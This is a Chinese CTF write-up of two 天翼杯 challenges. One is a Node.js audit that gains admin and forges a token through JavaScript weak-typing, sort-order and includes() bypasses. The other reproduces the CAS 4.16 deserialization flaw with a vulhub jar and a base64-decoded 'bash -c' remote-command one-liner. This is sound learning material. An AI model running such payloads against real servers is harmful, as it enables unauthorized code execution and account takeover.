写在前面
其实最近还是做了些题的,但是最近比较忙,心还比较累所以就懒得写了,就简单地写一下天翼杯的wp好了。
题目
nodejs审计(忘了叫啥了)
是Draw with us的一道改编题,找到了wp就一遍对着一遍看了。
主要参考了这篇wp https://xz.aliyun.com/t/7177#toc-7
主要的考点还是js的弱类型,还有个sort函数的比较机制。
由于这题的代码和上文很类似,这里主要列一下几个不一样的地方。
- 原题中考了js toUpperCase 的漏洞,但这里并不能用,因为同时检查了大小写转化。这里主要是用注册普通用户,然后利用becomeAdmin函数的逻辑漏洞来获取adminId。
- 然后和原本的流程一样利用js的比较机制来给用户添加获取secret的权限泄露secret,然后这里的init函数虽然设计的和上文不同,但是实际上只要拿到secret就可以伪造了,最后还是拿token出flag。
首先我们看下becomeAdmin函数
1 | app.post("/becomeAdmin", (req, res) => { |
首先这里排序用到了sort函数,并选取第二个值。然而通过查阅文档发现,如果没有指定比较函数,sort就按照ascii值的升序排列元素,也就是说,类似于下面这个例子。
排序的时候按照ascii升序排列,然而比较的时候,会被转化为数字,所以使用’2e1’就绕过了。
然后简单地讲下init路由
1 | app.post("/init", (req, res) => { |
adminId会被分成32个字符,然后依次和target对应的字符亦或,最后求这些亦或值的和。也就是说要使得亦或值为0,输入的secret要和config中的secret完全一样。
最后提一下在绕过checkRight的trick,因为js中变量和字符串比较时会转化为字符串,所以类似于[‘source’]会在与’source’比较时toString,从而实现针对includes的绕过。
步骤
- 注册普通账号
- becomeAdmin
- 添加权限
- /serverInfo泄露secret 1145141919810
- 生成admin token
这里注意secret的类型。 - 拿flag
总结下,这题逻辑看起来复杂,但总结完发现没有啥特别难的点,js弱类型和php弱类型比较类似,都是出在不同类型比较的地方。js都会统一成string或者数字来做计算,这种转换在有时候会造成一些bypass。
cas 4.16 漏洞复现 (就基本就是复现)
p牛牛逼!这里用到了vulhub里面给出的工具一把梭。
java -jar cas_att.jar CommonsCollections4 “bash -c {echo,youbase64cmd}|{base64,-d}|{bash,-i}”
出现500 加重置sessid就是成功了。 这个洞说实话和shiro很类似,不过现在秘钥未知的padding orcal可能更实用一些。
总结
怎么说呢,也差不多就是这两题,后面一题搞内网,还有一题整数溢出都不是我能hold的部分。希望这种好状态能保持到以后,,,